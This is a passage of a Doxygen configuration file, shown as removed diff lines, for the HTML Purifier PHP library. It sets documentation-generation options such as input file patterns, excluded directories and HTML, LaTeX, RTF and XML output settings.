quasi-intelligent brief description abbreviator -# that is used to form the text in various listings. Each string -# in this list, if found as the leading text of the brief description, will be -# stripped from the text and the result after processing the whole list, is -# used as the annotated text. Otherwise, the brief description is used as-is. -# If left blank, the following values are used ("$name" is automatically -# replaced with the name of the entity): "The $name class" "The $name widget" -# "The $name file" "is" "provides" "specifies" "contains" -# "represents" "a" "an" "the" - -ABBREVIATE_BRIEF = "The $name class " \ - "The $name widget " \ - "The $name file " \ - is \ - provides \ - specifies \ - contains \ - represents \ - a \ - an \ - the - -# If the ALWAYS_DETAILED_SEC and REPEAT_BRIEF tags are both set to YES then -# Doxygen will generate a detailed section even if there is only a brief -# description. - -ALWAYS_DETAILED_SEC = NO - -# If the INLINE_INHERITED_MEMB tag is set to YES, doxygen will show all -# inherited members of a class in the documentation of that class as if those -# members were ordinary class members. Constructors, destructors and assignment -# operators of the base classes will not be shown. - -INLINE_INHERITED_MEMB = NO - -# If the FULL_PATH_NAMES tag is set to YES then Doxygen will prepend the full -# path before files name in the file list and in the header files. If set -# to NO the shortest path that makes the file name unique will be used. - -FULL_PATH_NAMES = YES - -# If the FULL_PATH_NAMES tag is set to YES then the STRIP_FROM_PATH tag -# can be used to strip a user-defined part of the path. Stripping is -# only done if one of the specified strings matches the left-hand part of -# the path. The tag can be used to show relative paths in the file list. -# If left blank the directory from which doxygen is run is used as the -# path to strip. - -STRIP_FROM_PATH = "C:/Users/Edward/Webs/htmlpurifier " \ - "C:/Documents and Settings/Edward/My Documents/My Webs/htmlpurifier " - -# The STRIP_FROM_INC_PATH tag can be used to strip a user-defined part of -# the path mentioned in the documentation of a class, which tells -# the reader which header file to include in order to use a class. -# If left blank only the name of the header file containing the class -# definition is used. Otherwise one should specify the include paths that -# are normally passed to the compiler using the -I flag. - -STRIP_FROM_INC_PATH = - -# If the SHORT_NAMES tag is set to YES, doxygen will generate much shorter -# (but less readable) file names. This can be useful is your file systems -# doesn't support long names like on DOS, Mac, or CD-ROM. - -SHORT_NAMES = NO - -# If the JAVADOC_AUTOBRIEF tag is set to YES then Doxygen -# will interpret the first line (until the first dot) of a JavaDoc-style -# comment as the brief description. If set to NO, the JavaDoc -# comments will behave just like regular Qt-style comments -# (thus requiring an explicit @brief command for a brief description.) - -JAVADOC_AUTOBRIEF = YES - -# If the QT_AUTOBRIEF tag is set to YES then Doxygen will -# interpret the first line (until the first dot) of a Qt-style -# comment as the brief description. If set to NO, the comments -# will behave just like regular Qt-style comments (thus requiring -# an explicit \brief command for a brief description.) - -QT_AUTOBRIEF = NO - -# The MULTILINE_CPP_IS_BRIEF tag can be set to YES to make Doxygen -# treat a multi-line C++ special comment block (i.e. a block of //! or /// -# comments) as a brief description. This used to be the default behaviour. -# The new default is to treat a multi-line C++ comment block as a detailed -# description. Set this tag to YES if you prefer the old behaviour instead. - -MULTILINE_CPP_IS_BRIEF = NO - -# If the DETAILS_AT_TOP tag is set to YES then Doxygen -# will output the detailed description near the top, like JavaDoc. -# If set to NO, the detailed description appears after the member -# documentation. - -DETAILS_AT_TOP = NO - -# If the INHERIT_DOCS tag is set to YES (the default) then an undocumented -# member inherits the documentation from any documented member that it -# re-implements. - -INHERIT_DOCS = YES - -# If the SEPARATE_MEMBER_PAGES tag is set to YES, then doxygen will produce -# a new page for each member. If set to NO, the documentation of a member will -# be part of the file/class/namespace that contains it. - -SEPARATE_MEMBER_PAGES = NO - -# The TAB_SIZE tag can be used to set the number of spaces in a tab. -# Doxygen uses this value to replace tabs by spaces in code fragments. - -TAB_SIZE = 4 - -# This tag can be used to specify a number of aliases that acts -# as commands in the documentation. An alias has the form "name=value". -# For example adding "sideeffect=\par Side Effects:\n" will allow you to -# put the command \sideeffect (or @sideeffect) in the documentation, which -# will result in a user-defined paragraph with heading "Side Effects:". -# You can put \n's in the value part of an alias to insert newlines. - -ALIASES = - -# Set the OPTIMIZE_OUTPUT_FOR_C tag to YES if your project consists of C -# sources only. Doxygen will then generate output that is more tailored for C. -# For instance, some of the names that are used will be different. The list -# of all members will be omitted, etc. - -OPTIMIZE_OUTPUT_FOR_C = NO - -# Set the OPTIMIZE_OUTPUT_JAVA tag to YES if your project consists of Java -# sources only. Doxygen will then generate output that is more tailored for Java. -# For instance, namespaces will be presented as packages, qualified scopes -# will look different, etc. - -OPTIMIZE_OUTPUT_JAVA = NO - -# If you use STL classes (i.e. std::string, std::vector, etc.) but do not want to -# include (a tag file for) the STL sources as input, then you should -# set this tag to YES in order to let doxygen match functions declarations and -# definitions whose arguments contain STL classes (e.g. func(std::string); v.s. -# func(std::string) {}). This also make the inheritance and collaboration -# diagrams that involve STL classes more complete and accurate. - -BUILTIN_STL_SUPPORT = NO - -# If you use Microsoft's C++/CLI language, you should set this option to YES to -# enable parsing support. - -CPP_CLI_SUPPORT = NO - -# If member grouping is used in the documentation and the DISTRIBUTE_GROUP_DOC -# tag is set to YES, then doxygen will reuse the documentation of the first -# member in the group (if any) for the other members of the group. By default -# all members of a group must be documented explicitly. - -DISTRIBUTE_GROUP_DOC = NO - -# Set the SUBGROUPING tag to YES (the default) to allow class member groups of -# the same type (for instance a group of public functions) to be put as a -# subgroup of that type (e.g. under the Public Functions section). Set it to -# NO to prevent subgrouping. Alternatively, this can be done per class using -# the \nosubgrouping command. - -SUBGROUPING = YES - -#--------------------------------------------------------------------------- -# Build related configuration options -#--------------------------------------------------------------------------- - -# If the EXTRACT_ALL tag is set to YES doxygen will assume all entities in -# documentation are documented, even if no documentation was available. -# Private class members and static file members will be hidden unless -# the EXTRACT_PRIVATE and EXTRACT_STATIC tags are set to YES - -EXTRACT_ALL = YES - -# If the EXTRACT_PRIVATE tag is set to YES all private members of a class -# will be included in the documentation. - -EXTRACT_PRIVATE = YES - -# If the EXTRACT_STATIC tag is set to YES all static members of a file -# will be included in the documentation. - -EXTRACT_STATIC = YES - -# If the EXTRACT_LOCAL_CLASSES tag is set to YES classes (and structs) -# defined locally in source files will be included in the documentation. -# If set to NO only classes defined in header files are included. - -EXTRACT_LOCAL_CLASSES = YES - -# This flag is only useful for Objective-C code. When set to YES local -# methods, which are defined in the implementation section but not in -# the interface are included in the documentation. -# If set to NO (the default) only methods in the interface are included. - -EXTRACT_LOCAL_METHODS = NO - -# If this flag is set to YES, the members of anonymous namespaces will be extracted -# and appear in the documentation as a namespace called 'anonymous_namespace{file}', -# where file will be replaced with the base name of the file that contains the anonymous -# namespace. By default anonymous namespace are hidden. - -EXTRACT_ANON_NSPACES = NO - -# If the HIDE_UNDOC_MEMBERS tag is set to YES, Doxygen will hide all -# undocumented members of documented classes, files or namespaces. -# If set to NO (the default) these members will be included in the -# various overviews, but no documentation section is generated. -# This option has no effect if EXTRACT_ALL is enabled. - -HIDE_UNDOC_MEMBERS = NO - -# If the HIDE_UNDOC_CLASSES tag is set to YES, Doxygen will hide all -# undocumented classes that are normally visible in the class hierarchy. -# If set to NO (the default) these classes will be included in the various -# overviews. This option has no effect if EXTRACT_ALL is enabled. - -HIDE_UNDOC_CLASSES = NO - -# If the HIDE_FRIEND_COMPOUNDS tag is set to YES, Doxygen will hide all -# friend (class|struct|union) declarations. -# If set to NO (the default) these declarations will be included in the -# documentation. - -HIDE_FRIEND_COMPOUNDS = NO - -# If the HIDE_IN_BODY_DOCS tag is set to YES, Doxygen will hide any -# documentation blocks found inside the body of a function. -# If set to NO (the default) these blocks will be appended to the -# function's detailed documentation block. - -HIDE_IN_BODY_DOCS = NO - -# The INTERNAL_DOCS tag determines if documentation -# that is typed after a \internal command is included. If the tag is set -# to NO (the default) then the documentation will be excluded. -# Set it to YES to include the internal documentation. - -INTERNAL_DOCS = NO - -# If the CASE_SENSE_NAMES tag is set to NO then Doxygen will only generate -# file names in lower-case letters. If set to YES upper-case letters are also -# allowed. This is useful if you have classes or files whose names only differ -# in case and if your file system supports case sensitive file names. Windows -# and Mac users are advised to set this option to NO. - -CASE_SENSE_NAMES = YES - -# If the HIDE_SCOPE_NAMES tag is set to NO (the default) then Doxygen -# will show members with their full class and namespace scopes in the -# documentation. If set to YES the scope will be hidden. - -HIDE_SCOPE_NAMES = NO - -# If the SHOW_INCLUDE_FILES tag is set to YES (the default) then Doxygen -# will put a list of the files that are included by a file in the documentation -# of that file. - -SHOW_INCLUDE_FILES = YES - -# If the INLINE_INFO tag is set to YES (the default) then a tag [inline] -# is inserted in the documentation for inline members. - -INLINE_INFO = YES - -# If the SORT_MEMBER_DOCS tag is set to YES (the default) then doxygen -# will sort the (detailed) documentation of file and class members -# alphabetically by member name. If set to NO the members will appear in -# declaration order. - -SORT_MEMBER_DOCS = YES - -# If the SORT_BRIEF_DOCS tag is set to YES then doxygen will sort the -# brief documentation of file, namespace and class members alphabetically -# by member name. If set to NO (the default) the members will appear in -# declaration order. - -SORT_BRIEF_DOCS = NO - -# If the SORT_BY_SCOPE_NAME tag is set to YES, the class list will be -# sorted by fully-qualified names, including namespaces. If set to -# NO (the default), the class list will be sorted only by class name, -# not including the namespace part. -# Note: This option is not very useful if HIDE_SCOPE_NAMES is set to YES. -# Note: This option applies only to the class list, not to the -# alphabetical list. - -SORT_BY_SCOPE_NAME = NO - -# The GENERATE_TODOLIST tag can be used to enable (YES) or -# disable (NO) the todo list. This list is created by putting \todo -# commands in the documentation. - -GENERATE_TODOLIST = YES - -# The GENERATE_TESTLIST tag can be used to enable (YES) or -# disable (NO) the test list. This list is created by putting \test -# commands in the documentation. - -GENERATE_TESTLIST = YES - -# The GENERATE_BUGLIST tag can be used to enable (YES) or -# disable (NO) the bug list. This list is created by putting \bug -# commands in the documentation. - -GENERATE_BUGLIST = YES - -# The GENERATE_DEPRECATEDLIST tag can be used to enable (YES) or -# disable (NO) the deprecated list. This list is created by putting -# \deprecated commands in the documentation. - -GENERATE_DEPRECATEDLIST= YES - -# The ENABLED_SECTIONS tag can be used to enable conditional -# documentation sections, marked by \if sectionname ... \endif. - -ENABLED_SECTIONS = - -# The MAX_INITIALIZER_LINES tag determines the maximum number of lines -# the initial value of a variable or define consists of for it to appear in -# the documentation. If the initializer consists of more lines than specified -# here it will be hidden. Use a value of 0 to hide initializers completely. -# The appearance of the initializer of individual variables and defines in the -# documentation can be controlled using \showinitializer or \hideinitializer -# command in the documentation regardless of this setting. - -MAX_INITIALIZER_LINES = 30 - -# Set the SHOW_USED_FILES tag to NO to disable the list of files generated -# at the bottom of the documentation of classes and structs. If set to YES the -# list will mention the files that were used to generate the documentation. - -SHOW_USED_FILES = YES - -# If the sources in your project are distributed over multiple directories -# then setting the SHOW_DIRECTORIES tag to YES will show the directory hierarchy -# in the documentation. The default is NO. - -SHOW_DIRECTORIES = NO - -# The FILE_VERSION_FILTER tag can be used to specify a program or script that -# doxygen should invoke to get the current version for each file (typically from the -# version control system). Doxygen will invoke the program by executing (via -# popen()) the command , where is the value of -# the FILE_VERSION_FILTER tag, and is the name of an input file -# provided by doxygen. Whatever the program writes to standard output -# is used as the file version. See the manual for examples. - -FILE_VERSION_FILTER = - -#--------------------------------------------------------------------------- -# configuration options related to warning and progress messages -#--------------------------------------------------------------------------- - -# The QUIET tag can be used to turn on/off the messages that are generated -# by doxygen. Possible values are YES and NO. If left blank NO is used. - -QUIET = NO - -# The WARNINGS tag can be used to turn on/off the warning messages that are -# generated by doxygen. Possible values are YES and NO. If left blank -# NO is used. - -WARNINGS = YES - -# If WARN_IF_UNDOCUMENTED is set to YES, then doxygen will generate warnings -# for undocumented members. If EXTRACT_ALL is set to YES then this flag will -# automatically be disabled. - -WARN_IF_UNDOCUMENTED = YES - -# If WARN_IF_DOC_ERROR is set to YES, doxygen will generate warnings for -# potential errors in the documentation, such as not documenting some -# parameters in a documented function, or documenting parameters that -# don't exist or using markup commands wrongly. - -WARN_IF_DOC_ERROR = YES - -# This WARN_NO_PARAMDOC option can be abled to get warnings for -# functions that are documented, but have no documentation for their parameters -# or return value. If set to NO (the default) doxygen will only warn about -# wrong or incomplete parameter documentation, but not about the absence of -# documentation. - -WARN_NO_PARAMDOC = NO - -# The WARN_FORMAT tag determines the format of the warning messages that -# doxygen can produce. The string should contain the $file, $line, and $text -# tags, which will be replaced by the file and line number from which the -# warning originated and the warning text. Optionally the format may contain -# $version, which will be replaced by the version of the file (if it could -# be obtained via FILE_VERSION_FILTER) - -WARN_FORMAT = "$file:$line: $text " - -# The WARN_LOGFILE tag can be used to specify a file to which warning -# and error messages should be written. If left blank the output is written -# to stderr. - -WARN_LOGFILE = - -#--------------------------------------------------------------------------- -# configuration options related to the input files -#--------------------------------------------------------------------------- - -# The INPUT tag can be used to specify the files and/or directories that contain -# documented source files. You may enter file names like "myfile.cpp" or -# directories like "/usr/src/myproject". Separate the files or directories -# with spaces. - -INPUT = ". " - -# This tag can be used to specify the character encoding of the source files that -# doxygen parses. Internally doxygen uses the UTF-8 encoding, which is also the default -# input encoding. Doxygen uses libiconv (or the iconv built into libc) for the transcoding. -# See http://www.gnu.org/software/libiconv for the list of possible encodings. - -INPUT_ENCODING = UTF-8 - -# If the value of the INPUT tag contains directories, you can use the -# FILE_PATTERNS tag to specify one or more wildcard pattern (like *.cpp -# and *.h) to filter out the source-files in the directories. If left -# blank the following patterns are tested: -# *.c *.cc *.cxx *.cpp *.c++ *.java *.ii *.ixx *.ipp *.i++ *.inl *.h *.hh *.hxx -# *.hpp *.h++ *.idl *.odl *.cs *.php *.php3 *.inc *.m *.mm *.py - -FILE_PATTERNS = *.php - -# The RECURSIVE tag can be used to turn specify whether or not subdirectories -# should be searched for input files as well. Possible values are YES and NO. -# If left blank NO is used. - -RECURSIVE = YES - -# The EXCLUDE tag can be used to specify files and/or directories that should -# excluded from the INPUT source files. This way you can easily exclude a -# subdirectory from a directory tree whose root is specified with the INPUT tag. - -EXCLUDE = - -# The EXCLUDE_SYMLINKS tag can be used select whether or not files or -# directories that are symbolic links (a Unix filesystem feature) are excluded -# from the input. - -EXCLUDE_SYMLINKS = NO - -# If the value of the INPUT tag contains directories, you can use the -# EXCLUDE_PATTERNS tag to specify one or more wildcard patterns to exclude -# certain files from those directories. Note that the wildcards are matched -# against the file with absolute path, so to exclude all test directories -# for example use the pattern */test/* - -EXCLUDE_PATTERNS = */tests/* \ - */benchmarks/* \ - */docs/* \ - */test-settings.php \ - */configdoc/* \ - */test-settings.php \ - */maintenance/* \ - */smoketests/* \ - */library/standalone/* \ - */.svn* \ - */conf/* - -# The EXCLUDE_SYMBOLS tag can be used to specify one or more symbol names -# (namespaces, classes, functions, etc.) that should be excluded from the output. -# The symbol name can be a fully qualified name, a word, or if the wildcard * is used, -# a substring. Examples: ANamespace, AClass, AClass::ANamespace, ANamespace::*Test - -EXCLUDE_SYMBOLS = - -# The EXAMPLE_PATH tag can be used to specify one or more files or -# directories that contain example code fragments that are included (see -# the \include command). - -EXAMPLE_PATH = - -# If the value of the EXAMPLE_PATH tag contains directories, you can use the -# EXAMPLE_PATTERNS tag to specify one or more wildcard pattern (like *.cpp -# and *.h) to filter out the source-files in the directories. If left -# blank all files are included. - -EXAMPLE_PATTERNS = * - -# If the EXAMPLE_RECURSIVE tag is set to YES then subdirectories will be -# searched for input files to be used with the \include or \dontinclude -# commands irrespective of the value of the RECURSIVE tag. -# Possible values are YES and NO. If left blank NO is used. - -EXAMPLE_RECURSIVE = NO - -# The IMAGE_PATH tag can be used to specify one or more files or -# directories that contain image that are included in the documentation (see -# the \image command). - -IMAGE_PATH = - -# The INPUT_FILTER tag can be used to specify a program that doxygen should -# invoke to filter for each input file. Doxygen will invoke the filter program -# by executing (via popen()) the command , where -# is the value of the INPUT_FILTER tag, and is the name of an -# input file. Doxygen will then use the output that the filter program writes -# to standard output. If FILTER_PATTERNS is specified, this tag will be -# ignored. - -INPUT_FILTER = - -# The FILTER_PATTERNS tag can be used to specify filters on a per file pattern -# basis. Doxygen will compare the file name with each pattern and apply the -# filter if there is a match. The filters are a list of the form: -# pattern=filter (like *.cpp=my_cpp_filter). See INPUT_FILTER for further -# info on how filters are used. If FILTER_PATTERNS is empty, INPUT_FILTER -# is applied to all files. - -FILTER_PATTERNS = - -# If the FILTER_SOURCE_FILES tag is set to YES, the input filter (if set using -# INPUT_FILTER) will be used to filter the input files when producing source -# files to browse (i.e. when SOURCE_BROWSER is set to YES). - -FILTER_SOURCE_FILES = NO - -#--------------------------------------------------------------------------- -# configuration options related to source browsing -#--------------------------------------------------------------------------- - -# If the SOURCE_BROWSER tag is set to YES then a list of source files will -# be generated. Documented entities will be cross-referenced with these sources. -# Note: To get rid of all source code in the generated output, make sure also -# VERBATIM_HEADERS is set to NO. If you have enabled CALL_GRAPH or CALLER_GRAPH -# then you must also enable this option. If you don't then doxygen will produce -# a warning and turn it on anyway - -SOURCE_BROWSER = YES - -# Setting the INLINE_SOURCES tag to YES will include the body -# of functions and classes directly in the documentation. - -INLINE_SOURCES = NO - -# Setting the STRIP_CODE_COMMENTS tag to YES (the default) will instruct -# doxygen to hide any special comment blocks from generated source code -# fragments. Normal C and C++ comments will always remain visible. - -STRIP_CODE_COMMENTS = YES - -# If the REFERENCED_BY_RELATION tag is set to YES (the default) -# then for each documented function all documented -# functions referencing it will be listed. - -REFERENCED_BY_RELATION = YES - -# If the REFERENCES_RELATION tag is set to YES (the default) -# then for each documented function all documented entities -# called/used by that function will be listed. - -REFERENCES_RELATION = YES - -# If the REFERENCES_LINK_SOURCE tag is set to YES (the default) -# and SOURCE_BROWSER tag is set to YES, then the hyperlinks from -# functions in REFERENCES_RELATION and REFERENCED_BY_RELATION lists will -# link to the source code. Otherwise they will link to the documentstion. - -REFERENCES_LINK_SOURCE = YES - -# If the USE_HTAGS tag is set to YES then the references to source code -# will point to the HTML generated by the htags(1) tool instead of doxygen -# built-in source browser. The htags tool is part of GNU's global source -# tagging system (see http://www.gnu.org/software/global/global.html). You -# will need version 4.8.6 or higher. - -USE_HTAGS = NO - -# If the VERBATIM_HEADERS tag is set to YES (the default) then Doxygen -# will generate a verbatim copy of the header file for each class for -# which an include is specified. Set to NO to disable this. - -VERBATIM_HEADERS = YES - -#--------------------------------------------------------------------------- -# configuration options related to the alphabetical class index -#--------------------------------------------------------------------------- - -# If the ALPHABETICAL_INDEX tag is set to YES, an alphabetical index -# of all compounds will be generated. Enable this if the project -# contains a lot of classes, structs, unions or interfaces. - -ALPHABETICAL_INDEX = NO - -# If the alphabetical index is enabled (see ALPHABETICAL_INDEX) then -# the COLS_IN_ALPHA_INDEX tag can be used to specify the number of columns -# in which this list will be split (can be a number in the range [1..20]) - -COLS_IN_ALPHA_INDEX = 5 - -# In case all classes in a project start with a common prefix, all -# classes will be put under the same header in the alphabetical index. -# The IGNORE_PREFIX tag can be used to specify one or more prefixes that -# should be ignored while generating the index headers. - -IGNORE_PREFIX = - -#--------------------------------------------------------------------------- -# configuration options related to the HTML output -#--------------------------------------------------------------------------- - -# If the GENERATE_HTML tag is set to YES (the default) Doxygen will -# generate HTML output. - -GENERATE_HTML = YES - -# The HTML_OUTPUT tag is used to specify where the HTML docs will be put. -# If a relative path is entered the value of OUTPUT_DIRECTORY will be -# put in front of it. If left blank `html' will be used as the default path. - -HTML_OUTPUT = html - -# The HTML_FILE_EXTENSION tag can be used to specify the file extension for -# each generated HTML page (for example: .htm,.php,.asp). If it is left blank -# doxygen will generate files with .html extension. - -HTML_FILE_EXTENSION = .html - -# The HTML_HEADER tag can be used to specify a personal HTML header for -# each generated HTML page. If it is left blank doxygen will generate a -# standard header. - -HTML_HEADER = - -# The HTML_FOOTER tag can be used to specify a personal HTML footer for -# each generated HTML page. If it is left blank doxygen will generate a -# standard footer. - -HTML_FOOTER = - -# The HTML_STYLESHEET tag can be used to specify a user-defined cascading -# style sheet that is used by each HTML page. It can be used to -# fine-tune the look of the HTML output. If the tag is left blank doxygen -# will generate a default style sheet. Note that doxygen will try to copy -# the style sheet file to the HTML output directory, so don't put your own -# stylesheet in the HTML output directory as well, or it will be erased! - -HTML_STYLESHEET = - -# If the HTML_ALIGN_MEMBERS tag is set to YES, the members of classes, -# files or namespaces will be aligned in HTML using tables. If set to -# NO a bullet list will be used. - -HTML_ALIGN_MEMBERS = YES - -# If the GENERATE_HTMLHELP tag is set to YES, additional index files -# will be generated that can be used as input for tools like the -# Microsoft HTML help workshop to generate a compressed HTML help file (.chm) -# of the generated HTML documentation. - -GENERATE_HTMLHELP = NO - -# If the HTML_DYNAMIC_SECTIONS tag is set to YES then the generated HTML -# documentation will contain sections that can be hidden and shown after the -# page has loaded. For this to work a browser that supports -# JavaScript and DHTML is required (for instance Mozilla 1.0+, Firefox -# Netscape 6.0+, Internet explorer 5.0+, Konqueror, or Safari). - -HTML_DYNAMIC_SECTIONS = NO - -# If the GENERATE_HTMLHELP tag is set to YES, the CHM_FILE tag can -# be used to specify the file name of the resulting .chm file. You -# can add a path in front of the file if the result should not be -# written to the html output directory. - -CHM_FILE = - -# If the GENERATE_HTMLHELP tag is set to YES, the HHC_LOCATION tag can -# be used to specify the location (absolute path including file name) of -# the HTML help compiler (hhc.exe). If non-empty doxygen will try to run -# the HTML help compiler on the generated index.hhp. - -HHC_LOCATION = - -# If the GENERATE_HTMLHELP tag is set to YES, the GENERATE_CHI flag -# controls if a separate .chi index file is generated (YES) or that -# it should be included in the master .chm file (NO). - -GENERATE_CHI = NO - -# If the GENERATE_HTMLHELP tag is set to YES, the BINARY_TOC flag -# controls whether a binary table of contents is generated (YES) or a -# normal table of contents (NO) in the .chm file. - -BINARY_TOC = NO - -# The TOC_EXPAND flag can be set to YES to add extra items for group members -# to the contents of the HTML help documentation and to the tree view. - -TOC_EXPAND = NO - -# The DISABLE_INDEX tag can be used to turn on/off the condensed index at -# top of each HTML page. The value NO (the default) enables the index and -# the value YES disables it. - -DISABLE_INDEX = NO - -# This tag can be used to set the number of enum values (range [1..20]) -# that doxygen will group on one line in the generated HTML documentation. - -ENUM_VALUES_PER_LINE = 4 - -# If the GENERATE_TREEVIEW tag is set to YES, a side panel will be -# generated containing a tree-like index structure (just like the one that -# is generated for HTML Help). For this to work a browser that supports -# JavaScript, DHTML, CSS and frames is required (for instance Mozilla 1.0+, -# Netscape 6.0+, Internet explorer 5.0+, or Konqueror). Windows users are -# probably better off using the HTML help feature. - -GENERATE_TREEVIEW = YES - -# If the treeview is enabled (see GENERATE_TREEVIEW) then this tag can be -# used to set the initial width (in pixels) of the frame in which the tree -# is shown. - -TREEVIEW_WIDTH = 250 - -#--------------------------------------------------------------------------- -# configuration options related to the LaTeX output -#--------------------------------------------------------------------------- - -# If the GENERATE_LATEX tag is set to YES (the default) Doxygen will -# generate Latex output. - -GENERATE_LATEX = NO - -# The LATEX_OUTPUT tag is used to specify where the LaTeX docs will be put. -# If a relative path is entered the value of OUTPUT_DIRECTORY will be -# put in front of it. If left blank `latex' will be used as the default path. - -LATEX_OUTPUT = latex - -# The LATEX_CMD_NAME tag can be used to specify the LaTeX command name to be -# invoked. If left blank `latex' will be used as the default command name. - -LATEX_CMD_NAME = latex - -# The MAKEINDEX_CMD_NAME tag can be used to specify the command name to -# generate index for LaTeX. If left blank `makeindex' will be used as the -# default command name. - -MAKEINDEX_CMD_NAME = makeindex - -# If the COMPACT_LATEX tag is set to YES Doxygen generates more compact -# LaTeX documents. This may be useful for small projects and may help to -# save some trees in general. - -COMPACT_LATEX = NO - -# The PAPER_TYPE tag can be used to set the paper type that is used -# by the printer. Possible values are: a4, a4wide, letter, legal and -# executive. If left blank a4wide will be used. - -PAPER_TYPE = a4wide - -# The EXTRA_PACKAGES tag can be to specify one or more names of LaTeX -# packages that should be included in the LaTeX output. - -EXTRA_PACKAGES = - -# The LATEX_HEADER tag can be used to specify a personal LaTeX header for -# the generated latex document. The header should contain everything until -# the first chapter. If it is left blank doxygen will generate a -# standard header. Notice: only use this tag if you know what you are doing! - -LATEX_HEADER = - -# If the PDF_HYPERLINKS tag is set to YES, the LaTeX that is generated -# is prepared for conversion to pdf (using ps2pdf). The pdf file will -# contain links (just like the HTML output) instead of page references -# This makes the output suitable for online browsing using a pdf viewer. - -PDF_HYPERLINKS = YES - -# If the USE_PDFLATEX tag is set to YES, pdflatex will be used instead of -# plain latex in the generated Makefile. Set this option to YES to get a -# higher quality PDF documentation. - -USE_PDFLATEX = YES - -# If the LATEX_BATCHMODE tag is set to YES, doxygen will add the \\batchmode. -# command to the generated LaTeX files. This will instruct LaTeX to keep -# running if errors occur, instead of asking the user for help. -# This option is also used when generating formulas in HTML. - -LATEX_BATCHMODE = NO - -# If LATEX_HIDE_INDICES is set to YES then doxygen will not -# include the index chapters (such as File Index, Compound Index, etc.) -# in the output. - -LATEX_HIDE_INDICES = NO - -#--------------------------------------------------------------------------- -# configuration options related to the RTF output -#--------------------------------------------------------------------------- - -# If the GENERATE_RTF tag is set to YES Doxygen will generate RTF output -# The RTF output is optimized for Word 97 and may not look very pretty with -# other RTF readers or editors. - -GENERATE_RTF = NO - -# The RTF_OUTPUT tag is used to specify where the RTF docs will be put. -# If a relative path is entered the value of OUTPUT_DIRECTORY will be -# put in front of it. If left blank `rtf' will be used as the default path. - -RTF_OUTPUT = rtf - -# If the COMPACT_RTF tag is set to YES Doxygen generates more compact -# RTF documents. This may be useful for small projects and may help to -# save some trees in general. - -COMPACT_RTF = NO - -# If the RTF_HYPERLINKS tag is set to YES, the RTF that is generated -# will contain hyperlink fields. The RTF file will -# contain links (just like the HTML output) instead of page references. -# This makes the output suitable for online browsing using WORD or other -# programs which support those fields. -# Note: wordpad (write) and others do not support links. - -RTF_HYPERLINKS = NO - -# Load stylesheet definitions from file. Syntax is similar to doxygen's -# config file, i.e. a series of assignments. You only have to provide -# replacements, missing definitions are set to their default value. - -RTF_STYLESHEET_FILE = - -# Set optional variables used in the generation of an rtf document. -# Syntax is similar to doxygen's config file. - -RTF_EXTENSIONS_FILE = - -#--------------------------------------------------------------------------- -# configuration options related to the man page output -#--------------------------------------------------------------------------- - -# If the GENERATE_MAN tag is set to YES (the default) Doxygen will -# generate man pages - -GENERATE_MAN = NO - -# The MAN_OUTPUT tag is used to specify where the man pages will be put. -# If a relative path is entered the value of OUTPUT_DIRECTORY will be -# put in front of it. If left blank `man' will be used as the default path. - -MAN_OUTPUT = man - -# The MAN_EXTENSION tag determines the extension that is added to -# the generated man pages (default is the subroutine's section .3) - -MAN_EXTENSION = .3 - -# If the MAN_LINKS tag is set to YES and Doxygen generates man output, -# then it will generate one additional man file for each entity -# documented in the real man page(s). These additional files -# only source the real man page, but without them the man command -# would be unable to find the correct page. The default is NO. - -MAN_LINKS = NO - -#--------------------------------------------------------------------------- -# configuration options related to the XML output -#--------------------------------------------------------------------------- - -# If the GENERATE_XML tag is set to YES Doxygen will -# generate an XML file that captures the structure of -# the code including all documentation. - -GENERATE_XML = NO - -# The XML_OUTPUT tag is used to specify where the XML pages will be put. -# If a relative path is entered the value of OUTPUT_DIRECTORY will be -# put in front of it. If left blank `xml' will be used as the default path. - -XML_OUTPUT = xml - -# The XML_SCHEMA tag can be used to specify an XML schema, -# which can be used by a validating XML parser to check the -# syntax of the XML files. - -XML_SCHEMA = - -# The XML_DTD tag can be used to specify an XML DTD, -# which can be used by a validating XML parser to check the -# syntax of the XML files. - -XML_DTD = - -# If the XML_PROGRAMLISTING tag is set to YES Doxygen will -# dump the program listings (including syntax highlighting -# and cross-referencing information) to the XML output. Note that -# enabling this will significantly increase the size of the XML output. - -XML_PROGRAMLISTING = YES - -#--------------------------------------------------------------------------- -# configuration options for the AutoGen Definitions output -#--------------------------------------------------------------------------- - -# If the GENERATE_AUTOGEN_DEF tag is set to YES Doxygen will -# generate an AutoGen Definitions (see autogen.sf.net) file -# that captures the structure of the code including all -# documentation. Note that this feature is still experimental -# and incomplete at the moment. - -GENERATE_AUTOGEN_DEF = NO - -#--------------------------------------------------------------------------- -# configuration options related to the Perl module output -#--------------------------------------------------------------------------- - -# If the GENERATE_PERLMOD tag is set to YES Doxygen will -# generate a Perl module file that captures the structure of -# the code including all documentation. Note that this -# feature is still experimental and incomplete at the -# moment. - -GENERATE_PERLMOD = NO - -# If the PERLMOD_LATEX tag is set to YES Doxygen will generate -# the necessary Makefile rules, Perl scripts and LaTeX code to be able -# to generate PDF and DVI output from the Perl module output. - -PERLMOD_LATEX = NO - -# If the PERLMOD_PRETTY tag is set to YES the Perl module output will be -# nicely formatted so it can be parsed by a human reader. This is useful -# if you want to understand what is going on. On the other hand, if this -# tag is set to NO the size of the Perl module output will be much smaller -# and Perl will parse it just the same. - -PERLMOD_PRETTY = YES - -# The names of the make variables in the generated doxyrules.make file -# are prefixed with the string contained in PERLMOD_MAKEVAR_PREFIX. -# This is useful so different doxyrules.make files included by the same -# Makefile don't overwrite each other's variables. - -PERLMOD_MAKEVAR_PREFIX = - -#--------------------------------------------------------------------------- -# Configuration options related to the preprocessor -#--------------------------------------------------------------------------- - -# If the ENABLE_PREPROCESSING tag is set to YES (the default) Doxygen will -# evaluate all C-preprocessor directives found in the sources and include -# files. - -ENABLE_PREPROCESSING = YES - -# If the MACRO_EXPANSION tag is set to YES Doxygen will expand all macro -# names in the source code. If set to NO (the default) only conditional -# compilation will be performed. Macro expansion can be done in a controlled -# way by setting EXPAND_ONLY_PREDEF to YES. - -MACRO_EXPANSION = NO - -# If the EXPAND_ONLY_PREDEF and MACRO_EXPANSION tags are both set to YES -# then the macro expansion is limited to the macros specified with the -# PREDEFINED and EXPAND_AS_DEFINED tags. - -EXPAND_ONLY_PREDEF = NO - -# If the SEARCH_INCLUDES tag is set to YES (the default) the includes files -# in the INCLUDE_PATH (see below) will be search if a #include is found. - -SEARCH_INCLUDES = YES - -# The INCLUDE_PATH tag can be used to specify one or more directories that -# contain include files that are not input files but should be processed by -# the preprocessor. - -INCLUDE_PATH = - -# You can use the INCLUDE_FILE_PATTERNS tag to specify one or more wildcard -# 